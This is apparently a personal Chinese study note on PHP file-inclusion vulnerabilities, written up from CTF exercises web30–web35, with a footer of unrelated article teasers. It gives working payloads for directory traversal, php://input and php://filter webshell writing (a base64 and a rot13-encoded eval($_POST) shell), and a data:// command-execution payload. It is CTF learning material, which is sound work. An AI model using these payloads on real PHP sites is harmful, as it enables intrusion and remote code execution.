【心得】PHP文件包含基本利用个人笔记

本文可能比较凌乱,快速总结保证自己看得懂(真.个人笔记)

文件包含的本质:代码复用、并行开发、模块化、增加移植性

include和eval的区别:

include和eval一样,都不是函数,都是语言结构,无法通过配置文件函数禁用来禁用

include后面跟一个路径,表示要执行的php文件的路径,读取路径中文件内容后,然后执行里面的php代码

php常见的文件包含函数,语言结构

include 仅仅是包含这个文件,如果文件不存在,那么也没啥大不了,继续执行后面代码

require 必须给老子包含好这个文件,如果没包含好,我就摆烂不执行了,报错

include_once 包含一次 遇到错误继续执行

require_once 成功包含一次,遇到错误停止

include "flag.php";

文件包含漏洞,是指通过文件包含时,包含的内容我们用户可控

例题1:web30

payload:

?file=/var/www/secret

这个文件不含php代码

当包含的文件没有php代码时,一律认为是文本文档(相当于任意文件读取)

php伪协议

1.什么是协议?

网络层协议:IP、ICMP、ARP、IGMP

应用层协议:http,https,ftp,ssh,gopher

2.协议的格式

协议头://内容

3.php中的协议

file协议

http协议

ftp协议

data协议

phar协议

4.file协议

不写协议名字,就默认认为是file协议

相对路径和绝对路径

相对路径转了绝对路径

flag.php index.php /var/www/html  include "flag.php"  include "file:///var/www/html/flag.php";

include "flag.php";

include "../html/flag.php";     "/var/www/html/../html/flag.php"

上层目录特性

1.每个目录都有上层目录

2.根目录的上层目录是根目录本身

/var/www/html/../../../  => / 目录

/var/www/html/../../../../../../../../../  => / 目录 上溯

php目录整理特性

/var/www/html/suibian/../flag.php

=>php解析为/var/www/html/flag.php

(事实上suibian这个目录并不存在,所以系统会报错,但php的目录整理特性不会报错)

例题2:web31

 显然一个目录穿越

payload:

?file=../../../../../../../flag

5.http协议

配合文件包含,可以读取远程的php代码并在本地执行,最终实现RCE的效果

6.ftp协议

默认21端口,进行文件传输的协议

7.php协议

php://input

 php://input可以读取没有处理过的POST数据(即原始数据)。相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data

例题3:web32

注意bp传post必须要以key-value的形式,所以这里只能抓包传post

ps:不能直接传/flag,/flag为文件的内容,而非文件的路径 

即文件路径是php://input,文件内容是/flag(因为没有php标记,所以被当作文本文档处理)

php://filter

本质就是在读取之前对内容进行了一次过滤

例题4:web33

?file=php://filter/write=convert.base64-decode/resource=1.php

content=PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWzFdKTs/Pg==

(明文:<?php phpinfo();eval($_POST[1]);?>)

访问1.php,写马成功,下略

例题5:web34

 死亡die绕过

这里用rot13方便写

<?php eval($_POST[1]);?>

rot13编码后:

<?cuc riny($_CBFG[1]);?>

payload:

?file=php://filter/write=string.rot13/resource=1.php

content=<?cuc riny($_CBFG[1]);?>

访问1.php,成功写马,下略

8.data协议

data伪协议以内容为导向

例题6:web35

?file=data://text/plain,<?php system('tac /f*');?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/193026.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

聊聊近些年 CPU 在微架构、IO 速率上的演进过程

大家好&#xff0c;我是飞哥&#xff01; 在上一篇《深入了解 CPU 的型号、代际架构与微架构》 中我们介绍了我手头的一颗 Intel(R) Core(TM) i5 的型号规则&#xff0c;以及它的物理硬件的 Die 图结构。以及它对应的 Skylake 核的微架构实现。 不少同学开始问我其它型号的 CPU…

遗传算法GA-算法原理与算法流程图

本站原创文章&#xff0c;转载请说明来自《老饼讲解-BP神经网络》bp.bbbdata.com 目录 一、遗传算法流程图 1.1. 遗传算法流程图 二、遗传算法的思想与机制 2.1 遗传算法的思想 2.2 遗传算法的机制介绍 三、 遗传算法的算法流程 3.1 遗传算法的算法…

一文总结MySQL的指令是如何工作的

当你输入一条MySQL指令时候有没有想过会发生什么&#xff1f; 建立连接 首先你得先连到数据库上才行&#xff0c;这又分为长连接和短链接&#xff0c;短链接就是你查询一次就断开连接&#xff0c;长连接是你可以多次查询直到主动断开连接&#xff08;也可能被杀死进程&#x…

4.3每日一题(知全微分求函数本身)

公式 1、先通过公式&#xff1a;dx前系数对y求偏导、dy前面的系数对x求偏导&#xff0c;求出 f(x)的表达式&#xff1b;对x求不定积分&#xff0c;再通过 f(0)0求出常数C&#xff0c;即可求出 f(x) 2、把F(x)的全微分列出来&#xff0c;dx、dy前面的表达式分别为F(x)偏x、y的…

移动端路径传参以数字的形式,写死的情况

页面1 async getListTransferAndApprova() { //把mark值拼接到路径的后面&#xff0c;定义一个变量&#xff0c;使得切换穿的mark都不一样let mark ;if (this.tabsCurrent 0) {mark 2;} else if (this.tabsCurrent 1) {mark 3;}else if (this.tabsCurrent 2) {mark 4;}…

IDEO也不行了吗?设计正在变革#实时设计

2023 年 8 月&#xff0c;在与宜家品牌合作近 10 年之后&#xff0c;SPACE10 关门了。 最近&#xff0c;IDEO&#xff0c;设计思维的早期倡导者和践行者&#xff0c;宣布裁员1/3。 介绍下这两家设计公司&#xff1a; SPACE10 由宜家全额资助&#xff0c;于 2015 年落户哥本哈根…

微信小程序开发学习——页面布局、初始导航栏与跳转

1.盒模型 要求实现效果如图所示&#xff1a; 所有WXML元素都可以看作盒子&#xff0c;在WXSS中"box model”这一术语是用来设计和布局时使用盒模型本质上是一个盒子&#xff0c;封装周围的WXML元素它包括: 边距&#xff0c;边框&#xff0c;填充和实际内容&#xff0c;模…

SQL零基础入门教程,贼拉详细!贼拉简单! 速通数据库期末考!(八)

FULL OUTER JOIN 除了前面讲到的 INNER JOIN&#xff08;内连接&#xff09;、LEFT JOIN&#xff08;左连接&#xff09;、RIGHT JOIN&#xff08;右连接&#xff09;&#xff0c;还有另外一种关联方式&#xff0c;即 FULL OUTER JOIN&#xff08;全外连接&#xff09; FULL O…

C/C++数据结构之堆栈(Stack):理解、实现与运用

当我们讨论堆栈时&#xff0c;我们首先需要了解它的概念和基本原理。堆栈是一种后进先出&#xff08;Last In, First Out&#xff0c;LIFO&#xff09;的数据结构&#xff0c;它的操作主要包括压栈&#xff08;Push&#xff09;和弹栈&#xff08;Pop&#xff09;&#xff0c;以…

webpack 中,filename 和 chunkFilename 的区别

filename filename 是一个很常见的配置&#xff0c;就是对应于 entry 里面的输入文件&#xff0c;经过webpack打包后输出文件的文件名。比如说经过下面的配置&#xff0c;生成出来的文件名为 index.min.js。 chunkFilename chunkFilename 指未被列在 entry 中&#xff0c;却…

Java 教育局民办教育信息服务与监管平台

1) 项目背景 按照《中华人民共和国民办教育促进法》和《中华人民共和国政府信息公开条例》的相关规定&#xff0c;为满足学生和家长、社会各界获取权威信息的需求&#xff0c;着力解决服务老百姓最后一公里问题&#xff0c;达到宣传民办教育和引导家长择校的效果&#xff0…

LeetCo

题目描述如下&#xff1a; 罗马数字包含以下七种字符: I&#xff0c; V&#xff0c; X&#xff0c; L&#xff0c;C&#xff0c;D 和 M。 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M …